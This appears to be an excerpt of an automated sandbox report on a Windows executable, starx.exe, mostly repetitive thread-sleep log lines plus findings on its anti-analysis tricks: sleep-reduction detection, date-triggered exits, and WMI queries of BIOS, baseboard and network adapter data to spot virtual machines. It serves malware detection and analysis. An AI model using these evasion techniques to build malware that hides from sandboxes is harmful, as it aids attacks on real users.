Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_00437104

0_2_00437104

Found evasive API chain (may execute only at specific dates)

Show sources

Source: C:\Users\user\Desktop\starx.exe

Evasive API call chain: GetSystemTime,DecisionNodes,ExitProcess

graph_0-33587

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\starx.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\starx.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\starx.exe

Code function: GetCurrentThreadId,GetCursorPos,WaitForSingleObject,

0_2_0045B090

Source: C:\Users\user\Desktop\starx.exe

Code function: 2_2_0040533C sldt word ptr [eax]

2_2_0040533C

Source: C:\Users\user\Desktop\starx.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Window / User API: threadDelayed 2002

Jump to behavior

Source: C:\Users\user\Desktop\starx.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-33587

Source: C:\Users\user\Desktop\starx.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_2-40147

Source: C:\Users\user\Desktop\starx.exe

API coverage: 7.1 %

Source: C:\Users\user\Desktop\starx.exe

Code function: 0_2_00437104

0_2_00437104

Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 4148	Thread sleep count: 215 > 30	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -59782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 4148	Thread sleep count: 2002 > 30	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -58908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -117376s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -87423s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -57782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -84423s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -82782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -54688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -54282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -53188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -52782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -52282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -49282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -70032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -46188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44876s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -67032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -43782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -64782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -42688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -42282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -61782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -40782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -40282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -39688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -39188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -38782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55923s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -72376s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -35688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -35282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -68376s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -33782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -49923s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -49032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -47673s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -61376s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -30282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44673s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -57376s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -39423s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -37782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -32532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -119624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -89439s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -89109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -59126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -176718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -58720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -234000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -58312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -86439s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -143515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -113812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -226000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -112624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -83718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -83439s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -166218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -165000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -54720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -163500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -135780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -54126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -134765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -53626s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -106812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -185500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -105624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -78939s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -104624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -78189s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -129765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -154500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -127500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -127030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -75939s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -126015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -50126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -74859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -49720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -173250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -98624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -73689s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -73218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -72939s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -121015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -144000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -47720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -118750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -94624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -47126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -93812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -46626s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -69609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -46220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -184000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -68718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -45626s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -67968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -67689s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -112265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -178000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -132000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -87624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -65439s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -130218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -43126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -64359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -42720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -170000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -105780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -63189s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -62718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -62439s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -124218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -41220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -57609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -113718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -109218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -88280s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -35126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -34906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -34220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -85000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -33406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -33126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -82265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -63624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -31626s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -30720s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -76250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -73515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -56624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -81000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -64765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -49624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -58750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -33609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -31968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -30609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -38000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -30812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -88968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -58000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -115624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -143500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -101250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -80624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -79812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -59109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -136500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -77624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -57468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -131250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -111000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -73624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -89765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -106500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -69624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -86015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -117250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -66624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -32626s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -64812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -112000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -62624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -61812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -44718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -72265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -71250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -54812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -106000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -39468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -63515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36423s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -32250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -38188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -36812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -33985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -89391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -143985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -114000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -84141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -55688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -54594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -108188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -53688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -107000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -78891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -52406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -51688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -76641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -101188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -50188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -49814s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -73641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -48188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -71391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -94188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -69750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -91188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -45406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -45188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -66141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -87188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -64500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -84188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -41906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -41688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -60891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -100235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -59250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -96485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -38188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -37094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\starx.exe TID: 6964	Thread sleep time: -91485s >= -30000s	Jump to behavior
